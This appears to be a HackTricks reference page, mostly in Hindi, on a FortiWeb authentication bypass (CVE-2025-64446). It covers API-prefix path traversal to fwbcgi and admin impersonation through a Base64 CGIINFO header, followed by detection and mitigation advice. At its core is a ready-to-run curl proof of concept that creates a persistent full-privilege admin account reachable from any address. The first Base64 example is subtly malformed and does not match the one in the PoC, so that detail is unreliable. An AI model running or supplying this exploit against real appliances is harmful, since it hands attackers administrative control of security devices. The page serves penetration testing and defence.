Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सारांश

Fortinet FortiWeb एक केंद्रीकृत CGI dispatcher को /cgi-bin/fwbcgi पर एक्सपोज़ करता है।
A two-bug chain एक प्रमाणीकरणरहित रिमोट अटैकर को अनुमति देती है:

  • URL को एक वैध API prefix से शुरू करके और traversing directories करके fwbcgi तक पहुंचना।
  • CGI जिस विशेष HTTP header को identity के रूप में trust करता है, उसे सप्लाई करके किसी भी user (built-in admin सहित) को Impersonate करना।

Vendor advisory: FG‑IR‑25‑910 (CVE‑2025‑64446). Exploitation has been observed in the wild to create persistent admin users.

प्रभावित संस्करण (सार्वजनिक रूप से दस्तावेजीकृत):

  • 8.0 < 8.0.2
  • 7.6 < 7.6.5
  • 7.4 < 7.4.10
  • 7.2 < 7.2.12
  • 7.0 < 7.0.12
  • 6.4 ≤ 6.4.3
  • 6.3 ≤ 6.3.23

FortiWeb 8.0.2 नीचे दिए गए traversal probe के लिए HTTP 403 रिटर्न करता है।

त्वरित भेद्यता जांच

  • Path traversal from API prefix to fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
  • व्याख्या: HTTP 200 → संभावित रूप से असुरक्षित; HTTP 403 → पैच किया गया।

Root cause chain

  1. API-prefix path traversal to internal CGI
  • कोई भी अनुरोध पथ जो एक वैध FortiWeb API prefix (उदा., /api/v2.0/cmdb/ या /api/v2.0/cmd/) से शुरू होता है, ../ के साथ /cgi-bin/fwbcgi तक traverse कर सकता है।
  1. Minimal-body validation bypass
  • एक बार fwbcgi तक पहुँचने पर, पहला gate /var/log/inputcheck/ के अंतर्गत प्रति-पथ फ़ाइल द्वारा keyed एक permissive JSON चेक करता है। यदि फ़ाइल अनुपस्थित है, तो चेक तुरंत पास हो जाता है। यदि मौजूद है, तो बॉडी को केवल मान्य JSON होना चाहिए। न्यूनतम अनुरूप बॉडी के रूप में {} का उपयोग करें।
  1. Header-driven user impersonation
  • प्रोग्राम CGI environment variable HTTP_CGIINFO (जो HTTP header CGIINFO से निकला होता है) पढ़ता है, इसे Base64-decode करता है, JSON parse करता है, और attributes को सीधे login context में कॉपी कर देता है, domain/VDOM सेट करते हुए। रुचि की कुंजियाँ:
  • username, loginname, vdom, profname
  • Example JSON to impersonate the built-in admin:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}

उपरोक्त का Base64 (जैसा कि वास्तविक दुनिया में उपयोग किया जाता है):

eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==

एंड-टू-एंड दुरुपयोग पैटर्न (प्रमाणीकरण रहित → admin)

  1. API-prefix traversal के माध्यम से /cgi-bin/fwbcgi तक पहुँचें.
  2. इनपुट चेक पूरा करने के लिए कोई भी वैध JSON बॉडी (उदा., {}) प्रदान करें.
  3. हेडर CGIINFO: <base64(json)> भेजें जहाँ JSON लक्ष्य पहचान को परिभाषित करता है.
  4. प्रिविलेज्ड कार्रवाइयाँ करने के लिए fwbcgi द्वारा अपेक्षित बैकएंड JSON को POST करें (उदा., स्थायित्व के लिए एक admin उपयोगकर्ता बनाना).

न्यूनतम cURL PoC

  • Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
  • admin की नकल करके एक नया local admin user बनाएं:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='

curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'

नोट:

  • यदि /var/log/inputcheck/<path>.json मौजूद नहीं है तो कोई भी वैध JSON बॉडी पर्याप्त है (उदा., {})।
  • The action schema is FortiWeb-internal; ऊपर दिया उदाहरण एक local admin को full privileges देता है।

पता लगाना

  • ऐसे अनुरोध जो API-prefix paths जिनमें ../ शामिल हो के माध्यम से /cgi-bin/fwbcgi तक पहुँचते हैं (उदा., /api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi)।
  • हेडर CGIINFO की उपस्थिति जिसमें Base64 JSON हो और keys username/loginname/vdom/profname शामिल हों।
  • बैकएंड आर्टिफैक्ट्स:
  • /var/log/inputcheck/ के अंतर्गत per-path फाइलें (gate configuration)।
  • अनपेक्षित admin निर्माण और configuration परिवर्तन।
  • त्वरित सत्यापन: traversal probe का 200 (exposed) लौटाना बनाम 403 (fixed builds में blocked)।

निवारण

  • विक्रेता की advisory के अनुसार fixed releases (उदा.: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) पर अपग्रेड करें।
  • पैच लागू होने तक:
  • FortiWeb management plane को untrusted नेटवर्क्स के सामने एक्सपोज़ न करें।
  • ब्लॉक करने के लिए reverse-proxy/WAF नियम जोड़ें:
  • ऐसे Paths जो /api/ से शुरू हों और ../cgi-bin/fwbcgi शामिल करें।
  • CGIINFO हेडर वाले अनुरोध।
  • ऊपर दिए गए पता लगाने संकेतकों पर मॉनिटर और अलर्ट सेट करें।

References

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें